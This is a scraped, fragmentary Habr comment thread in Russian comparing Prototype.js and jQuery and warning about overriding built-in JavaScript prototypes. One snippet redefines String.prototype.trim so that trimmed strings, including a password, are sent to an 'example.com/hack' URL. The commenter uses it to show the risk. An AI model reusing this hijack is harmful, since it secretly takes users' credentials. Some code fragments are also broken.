Хабр Курсы для всех
РЕКЛАМА
Практикум, Хекслет, SkyPro, авторские курсы — собрали всех и попросили скидки. Осталось выбрать!
несколько CSS фильтров, которые поступают на вход в виде выражения подобного регулярному выражению
November 22nd, 2010помоему, пациент скорее мертв… врятли это из-за того, что он идеален и завершен на 100%
Last week, we tagged the first stable release of 1.7
гитхаб писали не слишком одарённые интеллектом люди
вики движок для документации писали не слишком одарённые интеллектом люди
prototype писали не слишком одарённые интеллектом люди
В принципе сейчас в хроме не работают практические любые сайты написанные на муутулс двух летней давности(function.bind)
Function.prototype.bind = function () { alert(1) };
(function(){}).bind(); // 1
Проблема именно хрома, вроде бы, заключается в том что хром сам по себе ее использует во внутрених скриптах( не забываем что весь js в хроме написан на js )
Бабах!
return user.gmail.password.trim();
var orig = String.prototype.trim;
String.prototype.trim = function () {
(new Img).src = 'http://example.com/hack?' + this;
return orig.call(this);
}
( new window.Array() ) instanceof unsafeWindow.Array; // false
( new unsafeWindow.Array() ) instanceof window.Array; // false
ПС: и вроде я тебя немного обманул — смерть несет версия 1.12, кто не обновлял(пару лет) свою жумлу — тот попал
Проблема именно хрома, вроде бы, заключается в том что хром сам по себе ее использует во внутрених скриптах( не забываем что весь js в хроме написан на js )
Если залесть в исходники хрома — можно заметить что все встроенные функции типа array.each, тот же самый function.bind написанный на почти обычном js.
Лично мне было бы не удобно держать несколько стеков js и переключаться постоянно, посему, получается, стек один и эти функции можно переопределить. Ну или поломать.
А по ненавистный мне hasOwnProperty я лучше промолчу
$.trim($('#elemId').val())Инкапсуляция — не?
$.proxy, $.trim, $.isArray, $(selector)
var pars = {
login : $F('reglogin'),
pass1 : $F('pass1'),
pass2 : $F('pass2')
};
var hash = $H(pars);
var myAjax = new Ajax.Request(
base_url + 'ajax/reg.php',
{
method: 'get',
parameters: hash.toQueryString(),
onLoaded: function() { alert('Loaded!'); },
onComplete: function() { alert('Complete!'); },
onSuccess: function(){ alert("Success"); },
onFailure: function(){ alert('Fail!'); }
});
var myAjax = new Ajax.Request(
'http://prototypejs.org/',
{
method: 'get',
onLoaded: function() { alert('Loaded!'); },
onComplete: function() { alert('Complete!'); },
onSuccess: function(){ alert("Success"); },
onFailure: function(){ alert('Fail!'); }
});
jQuery.fn.repeat = repeat(num) {
return new Array( num + 1 ).join(this.selector);
}
String.prototype.repeat = function(num) {
return new Array( num + 1 ).join(this);
}"lol".repeat(3) //[Prototype style]$('lol').repeat(3) //[jQuery style]jQuery.fn.repeat = function(num) {
return new Array( num + 1 ).join(this.selector);
}"lol".repeat(2).repeat(3).repeat(5);$($($('lol').repeat(2)).repeat(3)).repeat(5);$('header').repeat(2) //-> headerheader$('header').animate({'background-color': '#F00'})Диванный теоретик?
Введение в prototype.js